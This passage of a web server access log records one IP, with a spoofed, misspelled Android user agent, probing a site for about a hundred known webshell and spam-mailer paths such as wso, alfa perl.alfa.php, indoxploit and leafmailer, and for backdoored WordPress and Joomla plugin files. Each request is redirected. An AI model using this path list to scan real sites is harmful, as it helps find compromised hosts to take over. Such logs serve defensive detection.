- - [24/Apr/2025:18:29:23 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:29:25 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:29:28 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:29:31 -0400] "GET /alexus.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:29:33 -0400] "GET /wso1337.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:29:36 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:29:40 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:29:43 -0400] "GET /it.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:29:46 -0400] "GET /kiss.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:29:48 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:29:51 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:29:53 -0400] "GET /owl.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:29:56 -0400] "GET /vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:30:00 -0400] "GET /ohayo.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:30:04 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:30:10 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:30:16 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:30:21 -0400] "GET /Gel.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:30:25 -0400] "GET /41.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:30:28 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:30:31 -0400] "GET /MARIJUANA.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:30:33 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:30:35 -0400] "GET /.fk.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:30:38 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:30:40 -0400] "GET /alexuse.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:30:44 -0400] "GET /Sendemail.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:30:46 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:30:49 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:30:52 -0400] "GET /olu.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:30:53 -0400] "GET /alexusmailer%202.0.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:30:56 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:30:58 -0400] "GET /alexus-mailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:31:02 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:31:04 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:31:08 -0400] "GET /wso1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:31:13 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:31:16 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:31:19 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:31:21 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:31:24 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:31:26 -0400] "GET /uploader.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:31:28 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:31:30 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:31:33 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:31:36 -0400] "GET /tmp_images/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:31:39 -0400] "GET /wp-admin/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:31:41 -0400] "GET /wp-content/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:31:44 -0400] "GET /wp-includes/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:31:47 -0400] "GET /alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:31:50 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:31:52 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:31:55 -0400] "GET /images/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:31:57 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:31:59 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:32:03 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:32:05 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:32:07 -0400] "GET /date.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:32:09 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:32:12 -0400] "GET /alfaindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:32:14 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:32:16 -0400] "GET /wp-content/plugins/cekidot/alf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:32:19 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:32:21 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:32:24 -0400] "GET /snd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:32:26 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:32:28 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:32:30 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:32:32 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:32:34 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:32:36 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:32:39 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:32:41 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:32:45 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:32:47 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:32:50 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:32:53 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:32:57 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:33:00 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:33:04 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:33:10 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:33:16 -0400] "GET /wp-content/plugins/html404/xccc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:33:20 -0400] "GET /wp-content/plugins/html404/cry.php.pjpeg HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:33:23 -0400] "GET /wp-content/plugins/real/v.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:33:25 -0400] "GET /wp-content/plugins/html404/wso25.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:33:28 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:33:30 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:33:34 -0400] "GET /libraries/joomla/jmails.php?u HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:33:38 -0400] "GET /libraries/joomla/jmail.php?u HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:33:40 -0400] "GET /images/vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:33:42 -0400] "GET /tmp/vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:33:45 -0400] "GET /rxr.php?rxr HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:33:47 -0400] "GET /modules/modules/modules.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) 